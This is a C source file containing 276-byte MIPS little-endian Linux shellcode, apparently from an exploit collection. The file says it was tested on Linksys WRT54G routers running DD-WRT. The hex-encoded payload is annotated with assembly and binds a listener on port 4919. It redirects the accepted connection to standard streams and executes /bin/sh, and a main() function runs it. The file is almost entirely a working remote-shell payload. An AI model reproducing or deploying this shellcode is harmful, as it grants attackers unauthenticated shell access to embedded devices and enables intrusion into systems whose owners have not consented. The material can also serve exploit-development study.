/* - MIPS little-endian * - linux port listener 276 bytes shellcode * - execve("/bin/sh",["/bin/sh"],[]); * - port 0x1337 (4919) * - tested on Linksys WRT54G/GL (DD-WRT Linux) * - based on scut paper Writing MIPS/Irix shellcode * * vaicebine at gmail dot com */ #include "stdio.h" char port_bind_shellcode[] = "\xe0\xff\xbd\x27" /* addiu sp,sp,-32 */ "\xfd\xff\x0e\x24" /* li t6,-3 */ "\x27\x20\xc0\x01" /* nor a0,t6,zero */ "\x27\x28\xc0\x01" /* nor a1,t6,zero */ "\xff\xff\x06\x28" /* slti a2,zero,-1 */ "\x57\x10\x02\x24" /* li v0,4183 ( __NR_socket ) */ "\x0c\x01\x01\x01" /* syscall */ "\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */ "\xff\xff\x50\x30" /* andi s0,v0,0xffff */ "\xef\xff\x0e\x24" /* li t6,-17 */ "\x27\x70\xc0\x01" /* nor t6,t6,zero */ "\x13\x37\x0d\x24" /* li t5,0x3713 (port 0x1337) */ "\x04\x68\xcd\x01" /* sllv t5,t5,t6 */ "\xff\xfd\x0e\x24" /* li t6,-513 */ "\x27\x70\xc0\x01" /* nor t6,t6,zero */ "\x25\x68\xae\x01" /* or t5,t5,t6 */ "\xe0\xff\xad\xaf" /* sw t5,-32(sp) */ "\xe4\xff\xa0\xaf" /* sw zero,-28(sp) */ "\xe8\xff\xa0\xaf" /* sw zero,-24(sp) */ "\xec\xff\xa0\xaf" /* sw zero,-20(sp) */ "\x25\x20\x10\x02" /* or a0,s0,s0 */ "\xef\xff\x0e\x24" /* li t6,-17 */ "\x27\x30\xc0\x01" /* nor a2,t6,zero */ "\xe0\xff\xa5\x23" /* addi a1,sp,-32 */ "\x49\x10\x02\x24" /* li v0,4169 ( __NR_bind ) */ "\x0c\x01\x01\x01" /* syscall */ "\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */ "\x25\x20\x10\x02" /* or a0,s0,s0 */ "\x01\x01\x05\x24" /* li a1,257 */ "\x4e\x10\x02\x24" /* li v0,4174 ( __NR_listen ) */ "\x0c\x01\x01\x01" /* syscall */ "\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */ "\x25\x20\x10\x02" /* or a0,s0,s0 */ "\xff\xff\x05\x28" /* slti a1,zero,-1 */ "\xff\xff\x06\x28" /* slti a2,zero,-1 */ "\x48\x10\x02\x24" /* li v0,4168 ( __NR_accept ) */ "\x0c\x01\x01\x01" /* syscall */ "\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */ "\xff\xff\x50\x30" /* andi s0,v0,0xffff */ "\x25\x20\x10\x02" /* or a0,s0,s0 */ "\xfd\xff\x0f\x24" /* li t7,-3 */ "\x27\x28\xe0\x01" /* nor a1,t7,zero */ "\xdf\x0f\x02\x24" /* li v0,4063 ( __NR_dup2 ) */ "\x0c\x01\x01\x01" /* syscall */ "\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */ "\x25\x20\x10\x02" /* or a0,s0,s0 */ "\x01\x01\x05\x28" /* slti a1,zero,0x0101 */ "\xdf\x0f\x02\x24" /* li v0,4063 ( __NR_dup2 ) */ "\x0c\x01\x01\x01" /* syscall */ "\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */ "\x25\x20\x10\x02" /* or a0,s0,s0 */ "\xff\xff\x05\x28" /* slti a1,zero,-1 */ "\xdf\x0f\x02\x24" /* li v0,4063 ( __NR_dup2 ) */ "\x0c\x01\x01\x01" /* syscall */ "\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */ "\x50\x73\x06\x24" /* li a2,0x7350 */ "\xff\xff\xd0\x04" /* LB: bltzal a2,LB */ "\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */ "\xff\xff\x06\x28" /* slti a2,zero,-1 */ "\xdb\xff\x0f\x24" /* li t7,-37 */ "\x27\x78\xe0\x01" /* nor t7,t7,zero */ "\x21\x20\xef\x03" /* addu a0,ra,t7 */ "\xf0\xff\xa4\xaf" /* sw a0,-16(sp) */ "\xf4\xff\xa0\xaf" /* sw zero,-12(sp) */ "\xf0\xff\xa5\x23" /* addi a1,sp,-16 */ "\xab\x0f\x02\x24" /* li v0,4011 ( __NR_execve ) */ "\x0c\x01\x01\x01" /* syscall */ "/bin/sh"; int main() { void (*p)(void); p = port_bind_shellcode; printf("shellcode size %d\n", sizeof(port_bind_shellcode)); p(); return 0; }